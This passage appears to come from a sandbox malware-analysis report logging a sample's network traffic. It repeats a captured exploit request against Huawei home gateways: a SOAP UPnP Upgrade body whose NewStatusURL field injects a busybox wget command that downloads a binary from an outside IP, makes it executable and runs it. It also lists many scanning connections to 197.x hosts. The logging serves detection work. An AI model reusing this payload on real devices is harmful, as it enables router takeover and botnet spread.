50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 197.207.18.102
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.172.103
Source: unknown	TCP traffic detected without corresponding DNS query: 197.157.36.169
Source: unknown	TCP traffic detected without corresponding DNS query: 197.91.205.227
Source: unknown	TCP traffic detected without corresponding DNS query: 197.149.32.102
Source: unknown	TCP traffic detected without corresponding DNS query: 197.86.108.181
Source: unknown	TCP traffic detected without corresponding DNS query: 197.135.26.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.131.88.25
Source: unknown	TCP traffic detected without corresponding DNS query: 197.65.23.177
Source: unknown	TCP traffic detected without corresponding DNS query: 197.38.11.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.122.201.4
Source: unknown	TCP traffic detected without corresponding DNS query: 197.113.68.20
Source: unknown	TCP traffic detected without corresponding DNS query: 197.155.158.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.99.189
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.78.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.179.244
Source: unknown	TCP traffic detected without corresponding DNS query: 197.0.226.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.14.207.80
Source: unknown	TCP traffic detected without corresponding DNS query: 197.156.182.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.183.247.234
Source: unknown	TCP traffic detected without corresponding DNS query: 197.185.165.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.198.185.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.111.241.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.188.15.108
Source: unknown	TCP traffic detected without corresponding DNS query: 197.73.50.27
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.197.215
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.4.227
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.194.31
Source: unknown	TCP traffic detected without corresponding DNS query: 197.220.17.36
Source: unknown	TCP traffic detected without corresponding DNS query: 197.87.123.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.37.124
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.133.57
Source: unknown	TCP traffic detected without corresponding DNS query: 197.155.7.67
Source: unknown	TCP traffic detected without corresponding DNS query: 197.233.146.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.196.114.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.144.83.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.114.167.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.35.40.175
Source: unknown	TCP traffic detected without corresponding DNS query: 197.154.151.222
Source: unknown	TCP traffic detected without corresponding DNS query: 197.247.202.137
Source: unknown	TCP traffic detected without corresponding DNS query: 197.175.2.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.153.124.75
Source: unknown	TCP traffic detected without corresponding DNS query: 197.121.215.42
